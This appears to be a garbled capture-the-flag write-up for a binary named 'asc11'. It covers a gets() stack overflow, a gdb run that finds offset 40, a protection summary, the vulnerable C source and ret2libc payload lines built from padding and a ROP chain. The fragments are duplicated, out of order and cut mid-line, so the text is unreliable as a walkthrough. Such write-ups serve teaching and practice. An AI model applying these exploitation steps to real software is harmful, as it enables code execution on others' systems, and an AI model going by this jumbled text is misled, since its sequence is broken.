Asc 11 ^new^ May 2026

gdb ./asc11 r < <(python3 -c "print('A'*50)") Crash at RIP = 0x4141414141414141 → offset 40. Check if there’s a win or shell function:

objdump -d asc11 | grep -E "win|system|shell" If none, we need ret2libc. asc 11

payload2 = b'A'*offset + rop2.chain() p.sendlineafter(b'Input: ', payload2) gdb ./asc11 r &lt

payload = b'A'*offset + rop.chain() p.sendlineafter(b'Input: ', payload) payload) void main(void) char buf[32]

void main(void) char buf[32]; setvbuf(stdout, NULL, 2, 0); puts("Input: "); gets(buf); // <-- vulnerable

asc11: ELF 64-bit, dynamically linked, not stripped Arch: amd64 RELRO: Partial Stack: No canary found NX: Enabled PIE: Disabled Run it to see behavior: